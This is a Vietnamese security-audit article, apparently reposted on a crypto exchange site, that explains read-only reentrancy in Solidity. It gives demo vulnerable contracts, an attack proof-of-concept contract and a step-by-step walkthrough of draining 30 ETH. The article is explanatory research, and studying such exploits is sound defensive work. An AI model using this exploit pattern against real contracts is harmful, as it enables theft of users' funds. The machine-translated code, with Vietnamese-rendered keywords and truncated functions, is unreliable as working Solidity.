Kiến thức cần thiết cho kiểm toán bảo mật: "tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Tác giả bài viết này: Chuyên gia nghiên cứu bảo mật Beosin Sivan

Gần đây, có rất nhiều cuộc tấn công vào lại trong hệ sinh thái blockchain, những cuộc tấn công này không giống như các lỗ hổng tái nhập mà chúng ta đã biết trước đây, mà là các cuộc tấn công vào lại chỉ đọc xảy ra khi dự án có khóa vào lại.

Kiến thức cần thiết cho kiểm toán bảo mật ngày nay, nhóm nghiên cứu bảo mật Beosin sẽ giải thích cho bạn "tấn công reentrancy chỉ đọc" là gì.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Những tình huống nào dẫn đến nguy cơ lỗ hổng vào lại?

Trong quá trình lập trình hợp đồng thông minh Solidity, một hợp đồng thông minh được phép gọi mã của một hợp đồng thông minh khác. Trong thiết kế kinh doanh của nhiều dự án, cần phải gửi ETH đến một địa chỉ nhất định, nhưng nếu địa chỉ nhận ETH là một hợp đồng thông minh, chức năng dự phòng của hợp đồng thông minh sẽ được gọi. Nếu một người dùng độc hại viết mã được thiết kế tốt trong chức năng dự phòng của hợp đồng, thì có thể có nguy cơ xảy ra lỗ hổng truy cập lại.

Kẻ tấn công có thể bắt đầu lại cuộc gọi đến hợp đồng dự án trong chức năng dự phòng của hợp đồng độc hại. Tại thời điểm này, quá trình gọi đầu tiên chưa kết thúc và một số biến chưa được thay đổi. Trong trường hợp này, cuộc gọi thứ hai sẽ gây ra hợp đồng dự án để sử dụng Các biến bất thường thực hiện các phép tính liên quan hoặc cho phép kẻ tấn công bỏ qua một số hạn chế kiểm tra.

Nói cách khác, gốc rễ của lỗ hổng reentrancy nằm ở việc gọi một giao diện của hợp đồng đích sau khi quá trình chuyển được thực hiện và sự thay đổi của sổ cái khiến séc bị bỏ qua sau khi gọi hợp đồng đích, nghĩa là thiết kế không hoàn toàn phù hợp với chế độ kiểm tra-xác thực-tương tác . Do đó, ngoài các lỗ hổng vào lại do chuyển Ethereum, một số thiết kế không phù hợp cũng có thể dẫn đến các cuộc tấn công vào lại, chẳng hạn như ví dụ sau:

1. Việc gọi các chức năng bên ngoài có thể kiểm soát sẽ dẫn đến khả năng vào lại

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

2. Các chức năng liên quan đến bảo mật ERC721/1155 có thể gây ra hiện tượng vào lại

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Hiện tại, các cuộc tấn công vào lại là một lỗ hổng phổ biến. Hầu hết các nhà phát triển dự án blockchain cũng nhận thức được sự nguy hiểm của các cuộc tấn công vào lại. Các khóa vào lại về cơ bản được thiết lập trong các dự án, do đó, khi gọi một chức năng có khóa vào lại, bất kỳ chức năng nào có cùng một đối tượng vào lại lock không thể được gọi lại. Mặc dù các khóa vào lại có thể ngăn chặn hiệu quả các cuộc tấn công vào lại ở trên, nhưng có một cuộc tấn công khác gọi là "vào lại chỉ đọc" rất khó ngăn chặn.

"Reentrancy chỉ đọc" khó ngăn chặn là gì?

Ở trên, chúng tôi đã giới thiệu các loại reentrant phổ biến, cốt lõi của nó là sử dụng trạng thái bất thường để tính toán trạng thái mới sau khi vào lại, dẫn đến cập nhật trạng thái bất thường. Sau đó, nếu hàm chúng ta gọi là hàm chỉ đọc được sửa đổi dạng xem, thì sẽ không có sửa đổi trạng thái nào trong hàm và sau khi hàm được gọi, nó sẽ không có bất kỳ tác động nào đến hợp đồng này. Do đó, các nhà phát triển của các dự án chức năng như vậy sẽ không chú ý quá nhiều đến rủi ro truy cập lại và sẽ không thêm các khóa truy cập lại vào nó.

Mặc dù chức năng được sửa đổi bởi chế độ xem nhập lại về cơ bản sẽ không ảnh hưởng đến hợp đồng này, nhưng có một tình huống khác trong đó hợp đồng sẽ gọi chức năng xem của các hợp đồng khác dưới dạng phụ thuộc dữ liệu và chức năng xem của hợp đồng này không thêm mục nhập lại lock. Khi đó, nó có thể dẫn đến nguy cơ truy cập lại ở chế độ chỉ đọc.

Ví dụ: dự án Một hợp đồng có thể cầm cố mã thông báo và rút mã thông báo, đồng thời cung cấp chức năng truy vấn giá theo tổng số lượng mã thông báo và chứng chỉ hợp đồng đã cam kết. Có khóa nhập lại giữa mã thông báo đã cầm cố và mã thông báo đã rút và truy vấn chức năng không tồn tại một khóa reentrant tồn tại. Có một dự án B khác cung cấp chức năng rút tiền cầm cố. Có một khóa tái nhập giữa cầm cố và rút tiền. Chức năng rút tiền cầm cố dựa vào chức năng truy vấn giá của dự án A để tính toán mã thông báo chứng từ.

Có rủi ro về việc truy cập lại ở chế độ chỉ đọc giữa hai dự án trên, như thể hiện trong hình bên dưới:

  1. Kẻ tấn công đặt cược và rút mã thông báo trong Hợp đồng A.

  2. Việc rút mã thông báo sẽ gọi chức năng dự phòng hợp đồng của kẻ tấn công.

  3. Kẻ tấn công gọi lại chức năng cầm cố trong Hợp đồng B trong hợp đồng.

  4. Chức năng cam kết sẽ gọi chức năng tính giá của Hợp đồng A. Lúc này, trạng thái hợp đồng của Hợp đồng A chưa được cập nhật dẫn đến giá tính toán bị lỗi và nhiều mã thông báo được tính toán và gửi cho kẻ tấn công.

  5. Sau khi nhập lại hoàn tất, trạng thái của Hợp đồng A được cập nhật.

  6. Cuối cùng, kẻ tấn công gọi ContractB để rút mã thông báo.

  7. Tại thời điểm này, dữ liệu mà Hợp đồng B thu được đã được cập nhật và có thể rút nhiều mã thông báo hơn.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Phân tích nguyên tắc mã

Chúng tôi lấy bản demo sau làm ví dụ để giải thích vấn đề truy cập lại chỉ đọc. Dưới đây chỉ là mã thử nghiệm không có logic nghiệp vụ thực sự. Nó chỉ được sử dụng làm tài liệu tham khảo để nghiên cứu về truy cập lại chỉ đọc.

Viết Hợp đồng Hợp đồng:

pragma solidity ^0.8.21;hợp đồng Hợp đồng A { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Khóa vào lại. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Tính tiền cam kết dựa trên tổng số lượng token và số tiền cam kết của giá trị chứng chỉ hợp đồng, 10e8 để xử lý chính xác. **/ function get_price() chế độ xem công khai trả về ảo (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Người dùng cam kết, tăng số tiền cam kết và cung cấp loại tiền chứng từ. **/ tiền gửi hàm() công khai phải trả noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * Người dùng rút tiền, giảm số tiền cam kết và hủy tổng số lượng mã thông báo. **/ chức năng rút tiền(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; pay(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;

Triển khai hợp đồng ContractA và cam kết 50ETH, và dự án mô phỏng đã chạy.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Viết hợp đồng ContractB (tùy thuộc vào hàm get_price của hợp đồng ContractA):

pragma solidity ^0.8.21;giao diện Hợp đồngA { function get_price() chế độ xem bên ngoài trả về (uint256);}hợp đồng Hợp đồngB { Hợp đồng Hợp đồngA_a; ánh xạ (địa chỉ => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Mã thông báo cam kết , tính toán giá trị của các mã thông báo được cam kết theo get_price() của hợp đồng ContractA và tính toán số lượng mã thông báo chứng từ**/ function DepositFunds() public pay noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Rút mã thông báo và tính mã thông báo chứng từ theo get_price() của hợp đồng ContractA Tính giá trị rút tokens**/ chức năng rútFunds(uint256 burnamount) công khai phải trả noreentrancy(){ _balances[msg.sender]-=burnamount; uint256mount=burnamount*10e8/contract_a.get_price(); msg.sender .call{value:amount}(""); } function balanceof(address acount) chế độ xem công khai trả về (uint256){ return _balances [acount] ;

Triển khai hợp đồng Hợp đồng B để đặt địa chỉ Hợp đồng A và cam kết 30ETH và dự án mô phỏng đã chạy.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Viết một hợp đồng POC tấn công:

pragma solidity ^0.8.21;giao diện Hợp đồng A { chức năng gửi tiền () khoản phải trả bên ngoài; chức năng rút tiền (số tiền uint256) bên ngoài;}giao diện Hợp đồngB { chức năng tiền gửiFunds () khoản phải trả bên ngoài; số dư hành động của (địa chỉ tài khoản) lượt xem bên ngoài trả về (uint256);} hợp đồng POC { Hợp đồng Hợp đồng A_a; Hợp đồng Hợp đồngB_b; địa chỉ phải trả _owner; uint flag=0; uint256 Depositamount=30 ether; ); } function setaddr(address _contracta,address _contractb) public { contract_a=ContractA (_contracta); contract_b=ContractB(_contractb); } /** * Cuộc tấn công bắt đầu gọi hàm, Thêm thanh khoản, xóa thanh khoản và cuối cùng là rút mã thông báo. **/ chức năng bắt đầu (số tiền uint256)công khai { hợp đồng_a.deposit{value:amount}(); hợp đồng_a.rút tiền(số tiền); hợp đồng_b.withdrawFunds(hợp đồng_b.balanceof(địa chỉ(cái này ))); } /** * Hàm đặt cược được gọi trong lần truy cập lại. **/ function Deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Sau khi cuộc tấn công kết thúc, hãy rút ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * hàm gọi lại, khóa đăng nhập lại. **/ dự phòng() phải trả bên ngoài { if(msg.sender==address(contract_a)){ Deposit(); }

Thay đổi sang một tài khoản EOA khác để triển khai hợp đồng tấn công và chuyển 50ETH, đồng thời đặt địa chỉ Hợp đồng A và Hợp đồng B.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Chuyển 50000000000000000000 (50*10^18) vào hàm bắt đầu và thực thi nó, và thấy rằng 30ETH của Hợp đồng B đã được chuyển bằng hợp đồng POC.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Gọi lại hàm getEther và địa chỉ của kẻ tấn công nhận được 30ETH.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Phân tích quy trình cuộc gọi mã:

Trước tiên, chức năng bắt đầu gọi chức năng gửi tiền của hợp đồng ContractA để thế chấp ETH. Kẻ tấn công chuyển 50*10^18, cộng với 50*10^18 thuộc sở hữu của hợp đồng ban đầu. Tại thời điểm này, _allstake và _totalSupply đều là 100*10^18.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Tiếp theo, gọi chức năng rút hợp đồng của Hợp đồng A để rút mã thông báo. Trước tiên, hợp đồng sẽ cập nhật _allstake và gửi 50 ETH đến hợp đồng tấn công. Lúc này, nó sẽ gọi chức năng dự phòng của hợp đồng tấn công và cuối cùng cập nhật _totalSupply .

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Trong chức năng dự phòng, hợp đồng tấn công gọi hợp đồng Hợp đồng B để cam kết 30 ETH. Vì get_price là chức năng xem, nên hợp đồng ContractB nhập lại thành công chức năng get_price của Hợp đồng A. Tại thời điểm này, vì _totalSupply chưa được cập nhật, nó vẫn là 100\ *10^18, nhưng _allstake đã giảm xuống còn 50*10^18, vì vậy giá trị trả về ở đây sẽ được nhân đôi. Nó sẽ thêm 60*10^18 xu mã thông báo vào hợp đồng tấn công.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Sau khi nhập lại xong, hợp đồng tấn công gọi hợp đồng ContractB để trích xuất ETH. Tại thời điểm này, _totalSupply đã được cập nhật thành 50*10^18 và số lượng ETH tương đương với tiền tệ chứng chỉ sẽ được tính toán. Đã chuyển 60ETH vào hợp đồng tấn công. Cuối cùng, kẻ tấn công đã kiếm được 30ETH lợi nhuận.

Kiến thức cần thiết để kiểm tra bảo mật: "Cuộc tấn công vào lại chỉ đọc" thường xuyên xảy ra gần đây và rất khó ngăn chặn là gì?

Tư vấn Bảo mật Beosin

Đối với các vấn đề bảo mật trên, nhóm bảo mật Beosin đề xuất: Đối với các dự án cần dựa vào các dự án khác để hỗ trợ dữ liệu, cần kiểm tra chặt chẽ tính bảo mật logic nghiệp vụ của sự kết hợp giữa dự án phụ thuộc và dự án của chính dự án đó. Trong trường hợp không có vấn đề gì trong hai dự án riêng lẻ, các vấn đề bảo mật nghiêm trọng có thể phát sinh sau khi kết hợp chúng.

Xem bản gốc
Trang này có thể chứa nội dung của bên thứ ba, được cung cấp chỉ nhằm mục đích thông tin (không phải là tuyên bố/bảo đảm) và không được coi là sự chứng thực cho quan điểm của Gate hoặc là lời khuyên về tài chính hoặc chuyên môn. Xem Tuyên bố từ chối trách nhiệm để biết chi tiết.
  • Phần thưởng
  • Bình luận
  • Chia sẻ
Bình luận
0/400
Không có bình luận
  • Ghim
Giao dịch tiền điện tử mọi lúc mọi nơi
qrCode
Quét để tải xuống ứng dụng Gate
Cộng đồng
Tiếng Việt
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)